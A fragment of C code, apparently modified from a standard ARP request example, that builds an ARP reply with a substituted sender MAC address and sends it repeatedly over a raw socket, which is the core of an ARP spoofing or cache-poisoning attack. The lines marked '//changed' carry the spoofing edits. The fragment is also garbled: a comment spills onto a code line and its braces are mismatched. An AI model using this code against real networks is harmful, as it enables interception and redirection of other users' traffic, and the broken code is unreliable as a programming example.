// Protocol type (16 bits): 2048 for IP

arphdr.ptype = htons (ETH_P_IP);

// Hardware address length (8 bits): 6 bytes for MAC address
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arphdr.hlen = 6;

// Protocol address length (8 bits): 4 bytes for IPv4 address
arphdr.plen = 4;

// OpCode: 1 for ARP request

// arphdr.opcode = htons (ARPOP_REQUEST);

// OpCode: 2 for ARP request

arphdr.opcode = htons (ARPOP_REPLY); //changed

// Sender hardware address (48 bits): MAC address

// memcpy (&arphdr.sender_mac, src_mac, 6 * sizeof (uint8_t));

memcpy (&arphdr.sender_mac, src_macl, 6 * sizeof (uint8_t));//changed
// Sender protocol address (32 bits)

// See getaddrinfo() resolution of src_ip.

// Target hardware address (48 bits): zero, since we don't know it yet.
//memset (&arphdr.target_mac, 0, 6 * sizeof (uint8_t));

memcpy (&arphdr.target_mac, dst_mac, 6 * sizeof (uint8_t));//changed

// Target protocol address (32 bits)

// See getaddrinfo() resolution of target.

// Fill out ethernet frame header.

// Ethernet frame length = ethernet header (MAC + MAC + ethernet type) +

ethernet data (ARP header)

}

frame_length = 6 + 6 + 2 + ARP_HDRLEN;
// Destination and Source MAC addresses
memcpy (ether_frame, dst_mac, 6 * sizeof (uint8_t));
memcpy (ether_frame + 6, src_mac, 6 * sizeof (uint8_t));
// Next is ethernet type code (ETH_P_ARP for ARP).
// http://www.iana.org/assignments/ethernet-numbers
ether_frame[12] = ETH_P_ARP / 256;
ether_frame[13] = ETH_P_ARP % 256;
// Next is ethernet frame data (ARP header).
// ARP header
memcpy (ether_frame + ETH_HDRLEN, &arphdr, ARP_HDRLEN * sizeof (uint8_t));
printf("packetprepared\n");
// Submit request for a raw socket descriptor.
if ((sd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0) {
perror ("socket() failed ");
exit (EXIT_FAILURE);
}
printf("socket opened\n");
for(i=0;i<atoi(argv[6]);i++){
// Send ethernet frame to socket.

if ((bytes = sendto (sd, ether_frame, frame_length, 0, (struct sockaddr *)
&device, sizeof (device))) <= 0) {

perror ("sendto() failed");
exit (EXIT_FAILURE);

printf("%d bytes sent\n", bytes);
}
// Close socket descriptor.
close (sd);

return (EXIT_SUCCESS);
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